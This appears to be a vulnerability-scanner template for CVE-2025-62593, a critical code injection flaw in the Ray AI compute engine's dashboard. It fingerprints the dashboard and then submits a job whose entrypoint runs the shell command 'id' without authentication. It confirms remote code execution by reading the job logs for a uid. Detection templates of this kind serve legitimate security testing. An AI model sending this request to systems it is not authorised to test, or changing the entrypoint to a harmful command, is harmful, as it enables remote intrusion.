id: CVE-2025-62593

info:
  name: Ray - Code Injection
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Ray is an AI compute engine. Prior to version 2.52.0, developers working with Ray as a development tool can be
    exploited via a critical RCE vulnerability exploitable via Firefox and Safari.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-62593&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=ray&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-62593
    cwe-id: CWE-94
  metadata:
    verified: false
  tags: cve,cve2025,rce,ray,kev,vkev
flow: http(1) && http(2)

variables:
  jobid: "1Job_{{rand_base(6)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '<title>Ray Dashboard'
          - '/css/main.388a904b.css'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"entrypoint":"id","submission_id":"{{jobid}}"}

      - |
        GET /api/jobs/{{jobid}}/logs?{{wait_for(3)}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=\d+'

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: jobid
        regex:
          - 'uid=(\d+)'